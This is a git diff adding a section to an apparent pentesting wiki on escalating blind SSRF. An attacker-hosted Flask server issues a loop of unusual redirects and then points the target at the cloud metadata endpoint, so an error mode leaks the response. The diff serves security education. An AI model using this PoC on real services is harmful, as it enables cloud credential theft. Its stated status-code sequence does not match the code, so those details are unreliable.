diff --git a/src/pentesting-web/ssrf-server-side-request-forgery/README.md b/src/pentesting-web/ssrf-server-side-request-forgery/README.md
index 31a8a723c..f42e88211 100644
--- a/src/pentesting-web/ssrf-server-side-request-forgery/README.md
+++ b/src/pentesting-web/ssrf-server-side-request-forgery/README.md
@@ -322,6 +322,42 @@ The difference between a blind SSRF and a not blind one is that in the blind you
 
 **Checking the time** of the responses from the server it might be **possible to know if a resource exists or not** (maybe it takes more time accessing an existing resource than accessing one that doesn't exist)
 
+### From blid to full abusing status codes
+
+According to this [**blog post**](https://slcyber.io/assetnote-security-research-center/novel-ssrf-technique-involving-http-redirect-loops/), some blind SSRF might happen because even if the targeted URL responds with a 200 status code (like AWS metadata), this dat is not properly formatted and therefore the app might refuse to show it.
+
+However, it as found that sending some redirecs responses from 305 to 309 in the SSRF it might possible to makethen application **follow these redirects while entering an error mode** that no longer will check the format of the data and might just print it.
+
+The python server used to exploit this is th following:
+
+```python
+@app.route("/redir")
+def redir():
+    count = int(request.args.get("count", 0)) + 1
+    # Pump out 305, 306, 307, 308, 309, 310 ...
+    weird_status = 301 + count
+    if count >= 10:                      # after 5 “weird” codes
+        return redirect(METADATA_URL, 302)
+    return redirect(f"/redir?count={count}", weird_status)
+
+@app.route("/start")
+def start():
+    return redirect("/redir", 302)
+```
+
+**Steps:**
+- First 302 gets the app to start following.
+- Then it receives 305 → 306 → 307 → 308 → 309 → 310.
+- After the 5th strange code the PoC finally returns 302 → 169.254.169.254 → 200 OK.
+
+**What happens inside the target:**
+- libcurl itself does follow 305–310; it just normalises unknown codes to “follow.”
+- After N weird redirects (≥ 5 here) the application’s own wrapper decides “something is off” and switches to an error mode meant for debugging.
+- In that mode it dumps the entire redirect chain plus final body back to the outside caller.
+- Result: attacker sees every header + the metadata JSON, mission accomplished.
+
+Note that this is interesting to leak status codes that you couldn't leak before (like a 200). However, if somehow you could also select the status code of the response (imagine that you can decide that the AWS metadata responds with a 500 status code), **there might be some status codes that directly leak the content of the response.**
+
 ## Cloud SSRF Exploitation
 
 If you find a SSRF vulnerability in a machine running inside a cloud environment you might be able to obtain interesting information about the cloud environment and even credentials: